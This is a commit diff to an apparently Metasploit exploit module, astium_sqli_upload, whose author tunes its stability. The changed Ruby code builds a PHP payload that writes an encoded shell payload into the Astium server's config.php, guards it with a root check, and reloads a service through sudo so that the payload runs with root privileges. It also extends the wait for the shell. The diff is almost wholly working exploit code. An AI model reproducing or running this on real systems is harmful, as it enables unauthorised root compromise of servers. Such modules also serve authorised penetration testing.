stability fixes to astium_sqli_upload

Author: xistence

modules/exploits/linux/http/astium_sqli_upload.rb

@@ -136,12 +136,13 @@ def exploit
     phppayload = "<?php "
     # Make backup of the "/usr/local/astium/web/php/config.php" file
     phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
-    # Add the payload to the end of "/usr/local/astium/web/php/config.php"
-    phppayload << "$replacement = $orig . base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
+    # Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
+    # else during the config reload it might happen that an extra shell is spawned as the apache user.
+    phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"   
     phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
-    phppayload << "fwrite($f, $replacement);"
+    phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
     phppayload << "fclose($f);"
-    # Reload astcfgd using sudo (so it will read our payload with root privileges)
+    # Reload astcfgd using sudo (so it will read our payload with root privileges).
     phppayload << "system('sudo /sbin/service astcfgd reload');"
     # Sleep 1 minute, so that we have enough time for the reload to trigger our payload
     phppayload << "sleep(60);"
@@ -174,11 +175,11 @@ def exploit
     register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
 
     print_status("#{peer} - Requesting Payload [ #{uri}upload/#{payload_name} ]")
-    print_status("#{peer} - Waiting 1 minute as the reloading process may take some time")
+    print_status("#{peer} - Waiting as the reloading process may take some time, this may take a couple of minutes")
     res = send_request_cgi({
       'method' => 'GET',
       'uri'    => normalize_uri(uri, "upload", "#{payload_name}")
-    }, 60)
+    }, 120)
 
     # If we don't get a 200 when we request our malicious payload, we suspect
     # we don't have a shell, either.